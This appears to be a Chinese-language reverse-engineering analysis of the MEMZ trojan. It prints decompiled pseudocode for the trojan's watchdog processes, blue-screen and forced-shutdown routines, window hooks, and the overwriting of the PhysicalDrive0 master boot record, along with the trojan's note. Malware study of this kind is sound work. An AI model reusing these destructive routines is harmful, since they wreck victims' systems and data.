彩虹貓分析
現象
- 自動彈出多個瀏覽器搜索窗口
- 鼠標異常晃動
- 窗口顏色怪異
- 反復出現系統提示音
- 出現6個MEMZ進程
發現調用CryptGenRandom函數
查輸入表
控制光標
播放聲音
打開外部程序
DrawIcon --繪制圖標
窗口顏色異常--BitBlt、StretchBlt
調用GetCommandLine和CommandLineToArgv兩個函數獲取命令行參數,之后進入if判斷有無參數:
兩個部分:
有參數部分
"/watchdog"
sub_40114A 監測進程有沒有減少,進程減少就會藍屏關機
void sub_40114A()
{
HANDLE v1; // eax
HANDLE v2; // edi
const CHAR *v3; // ebx
int v4; // esi
PROCESSENTRY32W pe; // [esp+Ch] [ebp-23Ch]
LPCSTR lpString1; // [esp+238h] [ebp-10h]
int v7; // [esp+23Ch] [ebp-Ch]
LPCSTR lpString2; // [esp+240h] [ebp-8h]
HANDLE hProcess; // [esp+244h] [ebp-4h]
int savedregs; // [esp+248h] [ebp+0h]
v7 = 0;
lpString1 = (LPCSTR)LocalAlloc(0x40u, 0x200u);// 該函數用於從局部堆中分配內存供程序使用
v1 = GetCurrentProcess(); // 獲取當前進程的一個偽句柄
GetProcessImageFileNameA(v1, (LPSTR)lpString1, 0x200u);// 獲取進程路徑
Sleep(0x3E8u);
while ( 1 )//死循環
{
v2 = CreateToolhelp32Snapshot(2u, 0); // 獲取進程快照。
pe.dwSize = 556;
Process32FirstW(v2, &pe); // 獲得第一個進程的句柄
v3 = lpString1;
v4 = 0;
do
{
hProcess = OpenProcess(0x400u, 0, pe.th32ProcessID);// 用來打開一個已存在的進程對象,並返回進程的句柄
lpString2 = (LPCSTR)LocalAlloc(0x40u, 0x200u);
GetProcessImageFileNameA(hProcess, (LPSTR)lpString2, 0x200u);
if ( !lstrcmpA(v3, lpString2) ) // 對比進程路徑
++v4; // 進程數目
CloseHandle(hProcess);
LocalFree((HLOCAL)lpString2);
}
while ( Process32NextW(v2, &pe) );
CloseHandle(v2);
if ( v4 < v7 ) // 對比進程數目,v7是最大進程數目
sub_401021((int)&savedregs); // 創建線程並導致關機
v7 = v4;
Sleep(10u);
}
}
sub_401021 創建線程並導致藍屏關機
sub_401021()
{
v1 = 20;
do
{
CreateThread(0, 0x1000u, StartAddress, 0, 0, 0);// 創建了20個進程
Sleep(0x64u);
--v1;
}
while ( v1 );
v2 = v16;
v16 = a1;
v9 = v2;
v3 = LoadLibraryA("ntdll"); // 將指定的模塊加載到調用進程的地址空間中
v4 = GetProcAddress(v3, "RtlAdjustPrivilege");// 檢索指定的動態鏈接庫(DLL)中的輸出庫函數地址
v5 = GetProcAddress(v3, "NtRaiseHardError");
//RtlAdjustPrivilege提權后
//NtRaiseHardError制造系統藍屏
v6 = (void (__cdecl *)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD))v5;
if ( v4 && v5 )
{
((void (__cdecl *)(signed int, signed int, _DWORD, char *, int, int))v4)(19, 1, 0, (char *)&v15 + 3, v15, v9);
v6(-1073741790, 0, 0, 0, 6, &v13);
}
v7 = GetCurrentProcess(); // 返回當前線程的虛擬句柄
OpenProcessToken(v7, 0x28u, &v14); // 用來打開與進程相關聯的訪問令牌
LookupPrivilegeValueW(0, L"SeShutdownPrivilege", (PLUID)&v11);// 查看系統權限的特權值,返回信息到一個LUID結構體里
//SeShutdownPrivilege關機
v10 = 1;
v12 = 2;
AdjustTokenPrivileges(v14, 0, (PTOKEN_PRIVILEGES)&v10, 0, 0, 0);// 用於啟用或禁止,指定訪問令牌的特權
return ExitWindowsEx(6u, 0x10007u); // 用來退出、重啟或注銷系統
}
在分析sub_401021時,StartAddress這個函數沒有辦法進去看。輸出窗口有一條報錯信息。
到匯編窗口看這個函數存在堆棧不平衡所以沒法反匯編,不過可以直接看它用了什么函數和參數
fn 、sub_401A55、dword_402AD0
GetCurrentThreadId、SetWindowsHookExW、UnhookWindowsHookEx
輸出線程id、對窗口下鈎子、卸載鈎子
fn 隨機窗口大小,生成窗口
LRESULT __thiscall fn(void *this, int code, WPARAM wParam, LPARAM lParam)
{
if ( code == 3 )
{
v4 = *(_DWORD **)lParam;
if ( *(_DWORD *)(*(_DWORD *)lParam + 32) & 0x80400000 )
{
v5 = sub_401A55((int)this); // 生成隨機數
v6 = dword_405184 - v4[5];
v7 = v5 % v6;
v8 = sub_401A55(v6);
v9 = dword_405188 - v4[4];
v4[7] = v7;
v4[6] = v8 % v9;
}
}
return CallNextHookEx(0, code, wParam, lParam);// 調用下一個鈎子
}
sub_401A55 生成隨機數
int __fastcall sub_401A55(int a1)
{
HCRYPTPROV v1; // eax
BYTE pbBuffer[4]; // [esp+0h] [ebp-4h]
*(_DWORD *)pbBuffer = a1;
v1 = hProv;
if ( !hProv )
{
if ( !CryptAcquireContextW(&hProv, (LPCWSTR)hProv, (LPCWSTR)hProv, 1u, 0xF0000040) )
ExitProcess(1u);
v1 = hProv;
}
CryptGenRandom(v1, 4u, pbBuffer); // 生成隨機數
return *(_DWORD *)pbBuffer & 0x7FFFFFFF;
}
dword_402AD0=1A
lpText 該參數存放的是一些消息,利用v3獲取的隨機數從26條消息中取出一條顯示出來
sub_401000 msg=16/22時(窗口被關閉)會被強制關機
LRESULT __stdcall sub_401000(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
{
int savedregs; // [esp+0h] [ebp+0h]
if ( Msg != 0x10 && Msg != 0x16 ) // 對應WM_CLOSE(當一個窗口或應用程序要關閉時發送一個信號)和WM_ENDSESSION(當系統顏色改變時,發送此消息給所有頂級窗口)
return DefWindowProcW(hWnd, Msg, wParam, lParam);// 默認窗口處理函數
sub_401021((int)&savedregs); // 創建線程並使藍屏關機
return 0;
}
無參數部分
可以看到一開始運行病毒彈的消息窗口的內容
兩個彈窗都被確認,使用GetModuleFileNameW獲取當前進程的路徑,當然由LocalAlloc先申請存路徑的空間。然后做5次循環,每次都調用ShellExecuteW,參數v10是剛才得到的樣本進程路徑,以及字符串"/watchdog",即以“/watchdog”為參數,生成5個MEMZ.exe進程。
此時無參變有參然后程序繼續運行
接下來ShellExecute函數生成了,一個參數為main的進程。
main部分
v2 = CreateFileA("\\\\.\\PhysicalDrive0", 0xC0000000, 3u, 0, 3u, 0, 0);
// CreateFileA打開文件或I/O設備 //PhysicalDrive0表示本機的物理驅動器0
//首先打開PhysicalDrive0磁盤
hObject = v2;
if ( v2 == (HANDLE)-1 )
{
v12 = 2
}
else
{
v3 = 0;
v4 = LocalAlloc(0x40u, 0x10000u);//從堆中分配0x10000個字節
v5 = v4;
do
{
++v3;
*v5 = v5[byte_402118 - v4];//循環303次寫入303字節
++v5;
}
while ( v3 < 303 );
//MBR的前446字節為啟動代碼,寫入的303字節會覆蓋MBR的啟動代碼部分。
//此操作直接破壞了MBR,如此一來無法將控制權轉交給操作系統,而是執行病毒寫入數據
v6 = 0;
do
{
v4[v6 + 510] = byte_402248[v6];
//循環1952次寫入1952字節,從510偏移處開始向后寫入,這次應該是病毒內容
++v6;
}
while ( v6 < 1952 );
if ( !WriteFile(v2, v4, 0x10000u, &NumberOfBytesWritten, 0) )
JUMPOUT(unk_40139D);
CloseHandle(hObject);
這里前兩個字節,0x55AA 是MBR的結束標志,表明這是有效的主引導扇區
然后是向note.txt中寫入內容
v7 = CreateFileA("\\note.txt", 0xC0000000, 3u, 0, 2u, 0x80u, 0);
if ( v7 != (HANDLE)-1
&& WriteFile(
v7,
"YOUR COMPUTER HAS BEEN FUCKED BY THE MEMZ TROJAN.\r\n"
"\r\n"
"Your computer won't boot up again,\r\n"
"so use it as long as you can!\r\n"
"\r\n"
":D\r\n"
"\r\n"
"Trying to kill MEMZ will cause your system to be\r\n"
"destroyed instantly, so don't try it :D",
0xDAu,
&NumberOfBytesWritten,
0) )
{
CloseHandle(v7); // 關閉了一個線程句柄
ShellExecuteA(0, 0, "notepad", "\\note.txt", 0, 10);// 打開外部程序notepad
v8 = 0;
v9 = (DWORD *)&off_405130; // 存了十個有實際效果的函數
do
{
Sleep(v9[1]);
CreateThread(0, 0, (LPTHREAD_START_ROUTINE)sub_401A2B, v9, 0, 0);
// 調用上面的十個函數
++v8;
v9 += 2;
}
while ( v8 < 10 );
while ( 1 )
Sleep(10000u);
}
}
ExitProcess(v12);
}
off_405130 里面存放的函數如下 里面有調用光標有彈web窗口的...
sub_401A2B 實現函數調用
void __stdcall __noreturn sub_401A2B(LPVOID lpThreadParameter)
{
v1 = 0;
v2 = 0;
v3 = 0;
while ( 1 )
{
v4 = v1--;
if ( !v4 )
v1 = (*(int (__cdecl **)(int, int))lpThreadParameter)(v2++, v3);
++v3;
Sleep(0xAu);
}
}
以上就把這個病毒大致梳理了一遍,下面學習它的原理。